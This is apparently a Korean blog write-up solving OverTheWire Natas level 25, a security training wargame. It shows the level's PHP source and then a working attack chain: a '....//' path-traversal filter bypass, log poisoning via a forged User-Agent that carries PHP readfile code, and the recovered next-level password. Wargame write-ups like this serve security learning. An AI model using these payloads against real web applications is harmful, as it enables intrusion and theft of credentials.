편지인가?
소스코드부터 보자.
<?php
// cheers and <3 to malvina
// - morla
function setLanguage(){
/* language setup */
if(array_key_exists("lang",$_REQUEST))
if(safeinclude("language/" . $_REQUEST["lang"] ))
return 1;
safeinclude("language/en");
}
function safeinclude($filename){
// check for directory traversal
if(strstr($filename,"../")){
logRequest("Directory traversal attempt! fixing request.");
$filename=str_replace("../","",$filename);
}
// dont let ppl steal our passwords
if(strstr($filename,"natas_webpass")){
logRequest("Illegal file access detected! Aborting!");
exit(-1);
}
// add more checks...
if (file_exists($filename)) {
include($filename);
return 1;
}
return 0;
}
function listFiles($path){
$listoffiles=array();
if ($handle = opendir($path))
while (false !== ($file = readdir($handle)))
if ($file != "." && $file != "..")
$listoffiles[]=$file;
closedir($handle);
return $listoffiles;
}
function logRequest($message){
$log="[". date("d.m.Y H::i:s",time()) ."]";
$log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
$log=$log . " \"" . $message ."\"\n";
$fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
fwrite($fd,$log);
fclose($fd);
}
?>
<h1>natas25</h1>
<div id="content">
<div align="right">
<form>
<select name='lang' onchange='this.form.submit()'>
<option>language</option>
<?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?>
</select>
</form>
</div>
<?php
session_start();
setLanguage();
echo "<h2>$__GREETING</h2>";
echo "<p align=\"justify\">$__MSG";
echo "<div align=\"right\"><h6>$__FOOTER</h6><div>";
?>
safeinclude 함수를 보면 ../를 str_replace함수로 필터링 하는 것을 알 수 있다.
/?lang=../ 을 파라미터로 보내면 다음과 같은 에러 창이 뜬다.
str_replace 함수는 ....//같은 방식으로 우회할 수 있다.
/?lang=....//
/var/www/natas/natas25
다시 소스코드로 돌아가서, logRequest 함수는 User Agent를 로그 파일에 저장하는 것을 알 수 있다.
다음과 같은 방법으로 파라미터를 보내보자.
lang=....//logs/natas25_gq5iotfc82bf9j8jc9ppkhvql6.log
이제 burp suite로 User-Agent를 변조할 것이다.
~/etc/natas_webpass/natas26에 패스워드가 있는 걸 알고 있으니, 이것을 include할 php코드를 보낸다.
<? readfile("/etc/natas_webpass/natas26") ?>
password를 얻을 수 있었다.
oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
'Over the Wire > natas' 카테고리의 다른 글
[OverTheWire:Natas] natas 26 → 27 / natas27 (0) | 2021.08.30 |
---|---|
[OverTheWire:Natas] natas 25 → 26 / natas26 (0) | 2021.08.29 |
[OverTheWire:Natas] natas 23 → 24 / natas24 (0) | 2021.08.03 |
[OvertheWire:Natas] natas 22 → 23 / natas 23 (0) | 2021.08.03 |
[OvertheWire:Natas] natas 21 → 22 /natas22 (0) | 2021.08.01 |